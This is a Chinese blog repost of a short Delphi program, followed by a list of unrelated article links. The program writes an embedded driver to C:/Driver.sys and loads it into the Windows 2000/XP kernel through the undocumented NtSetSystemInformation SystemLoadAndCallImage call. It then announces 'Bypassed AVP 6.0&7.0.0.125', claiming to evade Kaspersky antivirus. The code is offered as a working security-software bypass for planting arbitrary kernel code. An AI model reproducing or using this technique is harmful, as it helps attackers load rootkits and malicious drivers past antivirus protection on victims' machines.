博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Delphi加载驱动
阅读量:4508 次
发布时间:2019-06-08

本文共 1541 字,大约阅读时间需要 5 分钟。

1 program Project2; 2  3 uses 4 Windows, Native, JwaWinType, Unit_Driver; 5  6 function Is2KXp(): Boolean; 7 var 8 OSVer: TOSVersionInfo; 9 begin10 Result := False;11 OSVer.dwOSVersionInfoSize := Sizeof(TOSVersionInfo);12 if GetVersionEx(OSVer) then13 begin14     if (OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT) then15     begin16       if (OSVer.dwMajorVersion = 5) and ((OSVer.dwMinorVersion = 0) or17             (OSVer.dwMinorVersion = 1))then18       begin19         Result := True;20       end;21     end;22 end;23 end;24 25 function DriverSaveFile(lpszName: PChar):Boolean;26 var27 hFile:THandle;28 BytesWrite: dword;29 begin30 Result := False;31 DeleteFile(lpszName);32 hFile := CreateFile(lpszName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_NEW, 0, 0);33 if hFile = INVALID_HANDLE_VALUE then Exit;34 if WriteFile(hFile,DriverBuf,DriverSize, BytesWrite, nil) then Result := True;35 CloseHandle(hFile);36 end;37 38 var39 StrInit: TString;40 GGSImage: SYSTEM_LOAD_AND_CALL_IMAGE;41 begin42 if (Is2KXp()) then43 begin44     if DriverSaveFile('C:/Driver.sys') then45     begin46       RtlInitAnsiString(@StrInit, '/??/C:/Driver.sys');47       RtlAnsiStringToUnicodeString(@GGSImage.ModuleName, @StrInit, True);48       OutputDebugString('Load Driver: C:/Driver.sys');49       NtSetSystemInformation(SystemLoadAndCallImage, @GGSImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE));50 51       MessageBox(0, 'Bypassed AVP 6.0&7.0.0.125', 'By Anskya', 0);52     end;53 end;54 end.

 

转载于:https://www.cnblogs.com/MaxWoods/p/3399684.html

你可能感兴趣的文章
laravel怎么创建一个简单的blog
查看>>
ServerVersion = “conn.ServerVersion”引发了“System.InvalidOperationException”类型的异常...
查看>>
网络编程——UDP协议,SocketServer模块介绍
查看>>
oracle: 分割字符串,或者查找字段里面的关键字(关键字1,关键字2,关键字3)...
查看>>
向Array中添加改进的冒泡排序
查看>>
linux命令 -- 网站
查看>>
deviceOne -- js的本地搜索
查看>>
Tensorflow--梯度及梯度下降法
查看>>
代码段
查看>>
利用 autoconf 和 automake 生成 Makefile 文件
查看>>
php glob()函数实现目录文件遍历与寻找与模式匹配的文件路径
查看>>
CentOS6.3 编译安装LAMP(2):编译安装 Apache2.2.25
查看>>
》》》《类的继承》
查看>>
cad.net之ACAD移植到GCAD的自动加载问题
查看>>
Java超简明入门学习笔记(一)
查看>>
CaltrainTimes从设计到发布(基于Flex的手机应用)
查看>>
三层架构1
查看>>
JVM虚拟机笔记(3)-- 类加载器实践热部署
查看>>
Windows照片查看器--全屏浏览查看
查看>>
使用LinkedList存储一副扑克牌,然后实现洗牌功能。
查看>>